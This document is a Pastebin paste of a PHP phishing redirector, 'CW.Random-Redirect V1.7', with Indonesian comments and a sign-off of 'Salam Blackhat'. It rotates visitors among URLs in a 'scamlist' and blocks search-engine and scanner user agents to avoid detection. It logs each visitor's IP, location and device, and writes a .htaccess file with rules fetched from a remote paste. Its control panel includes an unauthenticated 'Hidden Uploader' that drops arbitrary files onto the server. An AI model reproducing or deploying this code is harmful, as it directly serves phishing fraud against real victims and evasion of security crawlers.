Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- date_default_timezone_set('Asia/Jakarta');
- error_reporting(0);
- /*
- ================ CW.Random-Redirect V1.7 ================
- Original script by : CW & Leo D
- Thanks to :
- - Semua Masyarakat Dunia Maya
- What's new in 1.7 :
- - Limit Visitor
- Auto tendang visitor, jika "dia" sudah masuk lebih dari max_visit
- Untuk pengguna BCC, sebaiknya disable fitur ini, karena HTTP Referer BCC itu kebanyakan sama.
- Fitur ini sementara menggunakan fungsin read HTTP Referer, mungkin next time menggunakan IP
- - Empty Referer
- Auto tendang visitor, jika HTTP Referer nya kosong (kemungkinan bot)
- Untuk pengguna BCC, sebaiknya disable fitur ini, karena HTTP Referer BCC itu kebanyakan sama.
- - Stylish Visitor Log
- Sebenarnya ini fitur dari versi sebelumnya, 1.6 yang dari versi sebelumnya juga mengambil dari
- sumber lain. Thanks to Mas Prada untuk tampilan visitor log nya.
- - Version History (Coming soon!)
- Melihat daftar versi dari redirect ini,
- ==========================================================
- */
- #=========== Setting to activate feature
- $max_visit = 0; # 0 = untuk disable fitur (tidak di limit), $max_visit berfungsi untuk melimit akses visitor
- $empty_referrer = 0; # 0 = untuk disable, 1 = untuk mengaktifkan, digunakan untuk mem'BLOCK visitor tanpa referrer
- $url_kick = "https://appleid.apple.com"; # URL untuk redirect jika visitor mengunjungi lebih dari Max Visit dan referer empty
- session_start();
- $yey = date('Y');
- # =================== Simple Bot Blocker by User Agent ===============
- if (!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array(
- "Google",
- "Slurp",
- "MSNBot",
- "ia_archiver",
- "Yandex",
- "Rambler",
- "Applebot",
- "Twitterbot",
- "PhantomJS",
- "metauri",
- "Python"
- );
- if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header("HTTP/1.0 404 Not Found");
- exit;
- }
- }
- # ==================== Bot Blocker End ================================
- # ===================== OS Detect Function Start [From scampage] ====================
- function os_info($uagent) {
- // the order of this array is important
- global $uagent;
- $oses = array(
- 'Win311' => 'Win16',
- 'Win95' => '(Windows 95)|(Win95)|(Windows_95)',
- 'WinME' => '(Windows 98)|(Win 9x 4.90)|(Windows ME)',
- 'Win98' => '(Windows 98)|(Win98)',
- 'Win2000' => '(Windows NT 5.0)|(Windows 2000)',
- 'WinXP' => '(Windows NT 5.1)|(Windows XP)',
- 'WinServer2003' => '(Windows NT 5.2)',
- 'WinVista' => '(Windows NT 6.0)',
- 'Windows 7' => '(Windows NT 6.1)',
- 'Windows 8' => '(Windows NT 6.2)',
- 'WinNT' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
- 'OpenBSD' => 'OpenBSD',
- 'SunOS' => 'SunOS',
- 'Ubuntu' => 'Ubuntu',
- 'Android' => 'Android',
- 'Linux' => '(Linux)|(X11)',
- 'iPhone' => 'iPhone',
- 'iPad' => 'iPad',
- 'MacOS' => '(Mac_PowerPC)|(Macintosh)',
- 'QNX' => 'QNX',
- 'BeOS' => 'BeOS',
- 'OS2' => 'OS/2',
- 'SearchBot' => '(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
- );
- $uagent = strtolower($uagent ? $uagent : $_SERVER['HTTP_USER_AGENT']);
- foreach ($oses as $os => $pattern)
- if (preg_match('/' . $pattern . '/i', $uagent))
- return $os;
- return 'Unknown';
- }
- # ========================= END =============================
- # =============== Get Browser Function start [From scampage]==================
- function browsername() {
- $browserName = $_SERVER['HTTP_USER_AGENT'];
- if (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/")) {
- $browserName = "Opera";
- } elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "chrome/")) {
- $browserName = "Chrome";
- } elseif (strpos(strtolower($browserName), "msie")) {
- $browserName = "Internet Explorer";
- } elseif (strpos(strtolower($browserName), "firefox/")) {
- $browserName = "Firefox";
- } elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/") == false and strpos(strtolower($browserName), "chrome/") == false) {
- $browserName = "Safari";
- } else {
- $browserName = "Unknown";
- }
- return $browserName;
- }
- #============= Get Browser End ==============================
- #===================== [First From scampage] ==============
- # Double IP Lookup
- # Menggunakan double lookup untuk mengantisipasi jika salah satu
- # ip lookup mengalami error
- function systemInfo($ipAddress) {
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, 'http://extreme-ip-lookup.com/json/' . $ipAddress);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- $content = curl_exec($curl);
- curl_close($curl);
- $details = json_decode($content);
- # ============= double IP check [Gixst3r] =============
- $curl2 = curl_init();
- curl_setopt($curl2, CURLOPT_URL, 'http://ip-api.com/json/' . $ipAddress);
- curl_setopt($curl2, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl2, CURLOPT_FOLLOWLOCATION, true);
- $content2 = curl_exec($curl2);
- curl_close($curl2);
- $details2 = json_decode($content2);
- #=================== Array Start ==================
- $systemInfo = array();
- # ======= Get Country Code =======
- if ($details->countryCode == "") {
- $systemInfo['kode_negara'] = $details2->countryCode;
- } else {
- $systemInfo['kode_negara'] = $details->countryCode;
- }
- # ======= Get Country =======
- if ($details->country == "") {
- $systemInfo['country'] = $details2->country;
- } else {
- $systemInfo['country'] = $details->country;
- }
- # ======= Get Region / State =======
- if ($details->region == "") {
- $systemInfo['region'] = $details2->regionName;
- } else {
- $systemInfo['region'] = $details->region;
- }
- # ======= Get City =======
- if ($details->city == "") {
- $systemInfo['city'] = $details2->city;
- } else {
- $systemInfo['city'] = $details->city;
- }
- # ======= Get Organization Name =======
- if ($details->org == "") {
- $systemInfo['org'] = $details2->org;
- } else {
- $systemInfo['org'] = $details->org;
- }
- $systemInfo['hostname'] = $details->ipName; # get hostname
- $systemInfo['useragent'] = $_SERVER['HTTP_USER_AGENT']; # get user agent
- $systemInfo['os'] = os_info($systemInfo['useragent']); # get os
- $systemInfo['browser'] = browsername(); # get browser
- return $systemInfo;
- }
- # =============================================== Manager start
- if (isset($_GET['cmd'])) {
- # Terdapat beberapa variabel seperti
- # - manager : adalah menu utama
- # - documentation : halaman dokumentasi, berisi keterangan tentang redirect ini
- # - scamlist : halaman untuk mengubah, menambah, menghapus daftar scam
- # - visitor : disini bisa melihat berapa visitor (clicker) yang masuk
- # - htaccess : untuk membuat file htaccess (blocker)
- # - uploader : gunakan dengan bijak saja, jangan lalu dipasang log dan kemudian di sebar ya (pencemaran nama baik nanti wkwk)
- # =============================================== To access redirect manager
- echo '
- <style type="text/css">
- a{
- text-decoration:none
- }
- a:visited{
- color:blue
- }
- body{
- font-family:Consolas;
- background: #eee;
- font-size:14px
- }
- .butn_x{
- background-color: #eee;
- color: #666;
- border: 2px solid #bdbdbd;
- border-radius:5px;
- padding: 5px 20px;
- margin:2px;
- text-align: center;
- text-decoration: none;
- }
- .butn_x:hover{
- background-color: #bdbdbd;
- color: #eee;
- }
- #wrap_x{
- padding:2px;
- background:#F5F5F5;
- height:25%;
- width: 45%;
- border:solid 2px;
- border-radius:5px;
- border-color: #bdbdbd;
- }
- .g_raph{
- margin:auto;
- height:70%;
- width: 90%;
- }
- #wrap_v{
- height:100%;
- width: 100%;
- }
- #wrap_d{
- margin:auto;
- padding:2px;
- background:#F5F5F5;
- height:80%;
- border:solid 2px;
- border-radius:5px;
- border-color: #bdbdbd;
- }
- #wrap_o{
- margin:auto;
- padding:2px;
- background:#F5F5F5;
- height:50%;
- border:solid 2px;
- border-radius:5px;
- border-color: #bdbdbd;
- }
- .scl_area{
- font-family:Consolas;
- resize: none;
- height:100%;
- width: 100%;
- background: #F5F5F5;
- border:none;
- border-radius:5px;
- }
- .scl_area:focus{
- outline: none !important;
- }
- .vis_area{
- #float: left;
- height:100%;
- width: 100%;
- overflow-y: scroll;
- }
- .gixs{
- min-height: 400px;
- }
- #scrollbar::-webkit-scrollbar-track{
- #-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
- border-radius: 10px;
- background-color: #F5F5F5;
- }
- #scrollbar::-webkit-scrollbar{
- width: 7px;
- background-color: #F5F5F5;
- }
- #scrollbar::-webkit-scrollbar-thumb{
- border-radius: 10px;
- background-color: #bdbdbd;
- }
- table, th, td {
- border: 1px solid #808080;
- border-collapse: collapse;
- }
- .dsok{background-color:black}
- </style>';
- #----------------------------------------------------------------------------------------------------------------
- # ================================================ Manager
- if ($_GET['cmd'] == "manager") {
- echo '
- <title>[Gixst3r] Redirect Manager</title>
- <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Redirect Manager</font>
- <br>
- <font style="font-size:10px;">Copyright © Gixster ' . $yey . '</font></center><hr>
- <b>[MENU]</b><br>
- [+] <a href=?cmd=scamlist>Scampage List</a><br>
- [+] <s>View Visitor V1</s><font color=red><i> (Only Available on V1.5)</i></font><br>
- [+] <a href=?cmd=visitor>View Visitor V2</a><br>
- [+] <a href=?cmd=htaccess>Create .htaccess file</a><br>
- [+] <a href=?cmd=uploader>Access Uploader</a><br>
- [+] <a href=?cmd=version>Version History</a><br>
- [+] <a href=?cmd=documentation>Documentation</a><font color=red>*Read carefully before you use this redirect</font>
- <br><br><br><br><br>
- [What\'s New?]
- <div id="wrap_o">
- <div class="vis_area" id="scrollbar">
- </div></div>';
- }
- if ($_GET['cmd'] == "version") {
- echo '
- <title>[Gixst3r] Version History</title>
- <a href=?cmd=manager> ../Back to manager </a><br>
- <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Version History</font>
- <br>
- <font style="font-size:10px;">Copyright © Gixster ' . $yey . '</font></center><hr>
- '.$cull_v.'
- ';
- }
- #----------------------------------------------------------------------------------------------------------------
- #================================================ Edit Scam List
- if ($_GET['cmd'] == "scamlist") {
- echo '
- <title>[Gixst3r] Scam List</title>
- <a href=?cmd=manager> ../Back to manager </a><br>
- <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Scam List</font>
- <br>
- <font style="font-size:10px;">Copyright © Gixster ' . $yey . '</font><br>
- <hr>';
- # Reference : http://www.dynamicdrive.com/forums/showthread.php?4539-how-do-i-modify-existing-txt-files-with-php#9
- echo "
- <form action=\"" . $PHP_SELF . "\" method=\"post\">
- <div id=\"wrap_x\">
- <textarea class=\"scl_area\" name=\"scamlist_a\" id=\"scrollbar\" placeholder=\"Format : http://scamlink.com (separate by new line)\" >";
- # Menentukan jika file list ada atau tidak, empty atau tidak
- if (!file_exists("scamlist.txt")) {
- $msg_ix = "<font color=\"red\">List Empty!</font>";
- } else {
- $j3mbut = file("scamlist.txt");
- if (empty($j3mbut)) {
- $msg_ix = "<font color=\"red\">List Empty!</font>";
- }
- }
- # Menjalankan perintah update ketika tombol update di klik
- if ($_POST['update_bt']) {
- $open = fopen("scamlist.txt", "w+");
- $text = $_POST['scamlist_a'];
- fwrite($open, $text);
- fclose($open);
- echo $text;
- $msg_ix = "<font color=\"green\">List Updated!</font>";
- } else {
- if (!file_exists("scamlist.txt")) {
- $msg_ix = "<font color=\"red\">List Empty!</font>";
- } else {
- $j3mbut = file("scamlist.txt");
- if (empty($j3mbut)) {
- $msg_ix = "<font color=\"red\">List Empty!</font>";
- }
- foreach ($j3mbut as $sc) {
- echo $sc;
- }
- }
- }
- echo "</textarea></div>
- <input class=\"butn_x\" name=\"update_bt\" type=\"submit\" value=\"Update\" />\n
- </form>";
- echo $msg_ix . "</center>";
- }
- #----------------------------------------------------------------------------------------------------------------
- # =============================================== Documentation Page
- if ($_GET['cmd'] == "documentation") {
- $cul = curl_init();
- curl_setopt($cul, CURLOPT_URL, 'https://pastebin.com/raw/vJfnTGCJ');
- curl_setopt($cul, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($cul, CURLOPT_FOLLOWLOCATION, true);
- $cull = curl_exec($cul);
- curl_close($cul);
- echo '
- <title>[Gixst3r] Documentation</title>
- <a href=?cmd=manager> ../Back to manager </a><br>
- <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Documentation</font>
- <br>
- <font style="font-size:10px;">Copyright © Gixster ' . $yey . '</font></center><br>
- <hr>
- <div id="wrap_d">
- <div class="vis_area" id="scrollbar">
- <div class="gixs">' . $cull . '</div></div></div>';
- }
- #----------------------------------------------------------------------------------------------------------------
- # =============================================== To create .htaccess file
- if ($_GET['cmd'] == "htaccess") {
- echo '
- <title>[Gixst3r] Create .htaccess</title>
- <a href=?cmd=manager> ../Back to manager </a><br>
- <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Create .htaccess</font>
- <br>
- <font style="font-size:10px;">Copyright © Gixster ' . $yey . '</font></center><br>
- ';
- $cul = curl_init();
- curl_setopt($cul, CURLOPT_URL, 'https://pastebin.com/raw/WLuzn04G');
- curl_setopt($cul, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($cul, CURLOPT_FOLLOWLOCATION, true);
- $cull = curl_exec($cul);
- curl_close($cul);
- $htac = ".htaccess";
- if (file_exists($htac)) {
- echo '<center><br><br><font color=red><h3>File Already Exist!';
- } else {
- $fp = fopen($htac, "a");
- fputs($fp, $cull);
- fclose($fp);
- echo '<center><br><br><font color=green><h3>.htaccess Successfuly created';
- session_destroy();
- }
- }
- #----------------------------------------------------------------------------------------------------------------
- # =============================================== To access file uploader
- if ($_GET['cmd'] == "uploader") {
- echo '<a href=?cmd=manager> ../Back to manager </a>';
- $yey = date('Y');
- echo '<head>
- <title>[Gixst3r] Hidden Uploader</title>
- </head>
- <body style="background: #eee;font-family:Consolas"><br>
- <center><font style="font-size:30px;font-family:Consolas">[Gixst3r] Hidden Uploader</font>
- <br>
- <font style="font-size:10px;">Copyright © Gixster '.$yey.'</font>
- <br>
- <br>
- <form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
- <input type="file" name="file" size="50"><input name="Gixst3r" type="submit" id="Gixst3r" value="Upload" class="button"></form>';
- if( $_POST['Gixst3r'] == "Upload" ) {
- if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
- echo '<b><font color="green">Uploaded!</font></b><br><br>';
- } else {
- echo '<b><font color="red">Upload Failed!</font></b><br><br>';
- }
- }
- }
- #----------------------------------------------------------------------------------------------------------------
- # =============================================== To view your redirect visitor
- #===================================================================== BETA VISITOR =====================================
- #================================================================================================================
- if ($_GET['cmd'] == "visitor") {
- echo "
- <title>[Gixst3r] Visitor Log</title>
- <a href=?cmd=manager> ../Back to manager </a><br>
- <center><font style='font-size:30px;font-family:Consolas'>[Gixst3r] Visitor Log *BETA</font>
- <br>
- <font style='font-size:10px;'>Copyright © Gixster " . $yey . "</font></center><hr>
- <div class='g_raph'>
- <form action='" . $PHP_SELF . "'' method='post'>
- <input class=\"butn_x\" name=\"clear_v\" type=\"submit\" value=\"Clear Visitor\" />
- ";
- $file = file("visitor.txt");
- $total = count($file);
- if ($_POST['clear_v']) {
- $open = fopen("visitor.txt", "w+");
- $text = '';
- fwrite($open, $text);
- fclose($open);
- echo '<font color=\'green\'>Cleared!</font>';
- $total = 0;
- echo '<br>Refreshing!<meta http-equiv="refresh" content="2; url=" />';
- }
- echo '<br>You have : <b><font color="red">' . $total . '</font></b> visitor from :';
- ?>
- <table class="table" width="100%">
- <thead class="thead-dark">
- <tr height="40px" class="dsok">
- <th width="200px" scope="col"><font color=white>Country</font></th>
- <th width="150px" scope="col"><font color=white>IP</font></th>
- <th width="150px" scope="col"><font color=white>Device & Browser</font></th>
- <th width="492px" scope="col"><font color=white>Referer</font></th>
- <th scope="col"><font color=white>Access Time</font></th>
- </tr>
- </thead>
- <tbody>
- </tbody>
- </table>
- <div id="wrap_v">
- <div class="vis_area" id="scrollbar">
- <div class="gixs">
- <?php
- if (count($file) !== 0) {
- foreach ($file as $f) {
- #list($click, $id, $email, $ip, $country, $ua, $refferer) = explode(":=:", $f);
- list($country, $ip, $deviceBrowser, $refferer, $accessTime) = explode(":=:", $f);
- ?>
- <table class="table" width="100%">
- <tr>
- <td width="200px" align="center"><?php
- echo $country;
- ?></td>
- <td width="150px" align="center"><?php
- echo $ip;
- ?></td>
- <td width="150px" align="center"><?php
- echo $deviceBrowser;
- ?></td>
- <td width="492px" align="center"><?php
- echo $refferer;
- ?></td>
- <td align="center"><?php
- echo $accessTime;
- ?></td>
- </tr>
- <?php
- }
- }
- ?>
- </tbody>
- </table>
- </div></div></div>
- <?
- }
- #================================================================================================================
- #================================================================================================================
- } else {
- # Cek jika tidak menggunakan parameter
- $v_ip = $_SERVER['REMOTE_ADDR'];
- $systemInfo = systemInfo($v_ip);
- # Cek Country
- if (!empty($systemInfo['country'])) {
- $v_country = $systemInfo['country'];
- } else {
- $v_country = "Unknown Country";
- }
- $sec_ip = md5($v_ip);
- $v_date = date("d/m - H:i:s");
- $v_agent = $_SERVER['HTTP_USER_AGENT'];
- $refers = $_SERVER['HTTP_REFERER'];
- $sigen = os_info($v_agent);
- $broser = browsername();
- # Cek jika scam ada atau tidak {start}
- if (file_exists("scamlist.txt")) {
- $slx = file("scamlist.txt");
- if (!empty($slx)) {
- $ls = $slx;
- } else {
- $ls = array(
- "https://your-scam-is.empty",
- "https://please-check-your.scam"
- );
- }
- } else {
- $ls = array(
- "https://your-scam-is.empty",
- "https://please-check-your.scam"
- );
- }
- # Cek file scam selesai {end}
- $ac = count($ls) - 1;
- $rd = rand(0, $ac);
- $rda = $ls[$rd];
- # Jika referer isi
- $file = 'visitor.txt';
- $searchfor = $_SERVER['HTTP_REFERER'];
- $contents = file_get_contents($file);
- $pattern = preg_quote($searchfor, '/');
- $pattern = "/^.*$pattern.*\$/m";
- # Cek parameter session id
- if (!isset($_GET['SessionID'])) {
- echo "<title>Coming Soon!</title><body bgcolor=black><font color=white><center><br><br><br><br><h1>Coming Soon!</h1></center></font>";
- $fis = fopen("kepo.txt", "a");
- fputs($fis, "=> $v_country - $v_ip - $sigen - $broser \r\n");
- fclose($fis);
- } else {
- # Jika menggunakan parameter SessionID (isset function)
- # Cek apakah HTTP refferer kosong atau isi
- if ($empty_referrer == 1) {
- if (empty($_SERVER['HTTP_REFERER'])) {
- $htfile = fopen(".htaccess", "a");
- # Update .htaccess yang referer nya kosong
- fwrite($htfile, '
- # Empty referrer
- RewriteCond %{REMOTE_ADDR} ^' . $_SERVER['REMOTE_ADDR'] . '$
- RewriteRule .* '.$url_kick.' [R,L]
- ');
- fclose($htfile);
- header("location:".$url_kick);
- } else {
- # Cek apakah visitor pernah mengunjungi redirect
- if (!preg_match_all($pattern, $contents, $matches)) {
- $fp = fopen("visitor.txt", "a");
- # Jika visitor belum pernah, maka akan meng'update file visitor.txt
- fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
- fclose($fp);
- header("location:" . $rda);
- } else {
- # Cek visitor yang sama
- $hit = count($matches[0]);
- # Jika max_visit tidak 0 (disable), maka fitur limit visitor akan aktif
- if ($max_visit != 0) {
- # Jika jumlah visit sudah mencapai max_visit maka akan di tendang
- if ($hit < $max_visit || $hit == 0) {
- $fp = fopen("visitor.txt", "a");
- fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
- fclose($fp);
- header("location:" . $rda);
- } else {
- $htfile = fopen(".htaccess", "a");
- # update .htaccess
- fwrite($htfile, '
- # Visit more than '.$max_visit.' times
- RewriteCond %{REMOTE_ADDR} ^' . $_SERVER['REMOTE_ADDR'] . '$
- RewriteRule .* '.$url_kick.' [R,L]
- ');
- fclose($htfile);
- header("location:".$url_kick);
- }
- } else {
- $fp = fopen("visitor.txt", "a");
- fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
- fclose($fp);
- header("location:" . $rda);
- }
- }
- }
- } else {
- # Cek apakah visitor pernah mengunjungi redirect
- if (!preg_match_all($pattern, $contents, $matches)) {
- $fp = fopen("visitor.txt", "a");
- # Jika visitor belum pernah, maka akan meng'update file visitor.txt
- fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
- fclose($fp);
- header("location:" . $rda);
- } else {
- # Cek visitor yang sama
- $hit = count($matches[0]);
- # Jika max_visit tidak 0 (disable), maka fitur limit visitor akan aktif
- if ($max_visit != 0) {
- # Jika jumlah visit sudah mencapai max_visit maka akan di tendang
- if ($hit < $max_visit || $hit == 0) {
- $fp = fopen("visitor.txt", "a");
- fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
- fclose($fp);
- header("location:" . $rda);
- } else {
- $htfile = fopen(".htaccess", "a");
- # update .htaccess
- fwrite($htfile, '
- # Visit more than '.$max_visit.' times
- RewriteCond %{REMOTE_ADDR} ^' . $_SERVER['REMOTE_ADDR'] . '$
- RewriteRule .* '.$url_kick.' [R,L]
- ');
- fclose($htfile);
- header("location:".$url_kick);
- }
- } else {
- $fp = fopen("visitor.txt", "a");
- fputs($fp, "$v_country:=:$v_ip:=:$sigen | $broser:=:$refers:=:$v_date WIB\r\n");
- fclose($fp);
- header("location:" . $rda);
- }
- }
- }
- }
- }
- #-------------------------------------------------
- # Maaf jika masih kurang sempurna
- # Silakan edit, tambahkan, ganti apapun, disempurnakan sekiranya
- # itu bisa lebih baik, tapi tolong biarkan copyright tetap ada :D
- #
- #-------------------------------------------------
- #
- # Salam Blackhat
- #
- # CW
- ?>
- <!-- SEKIAN -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement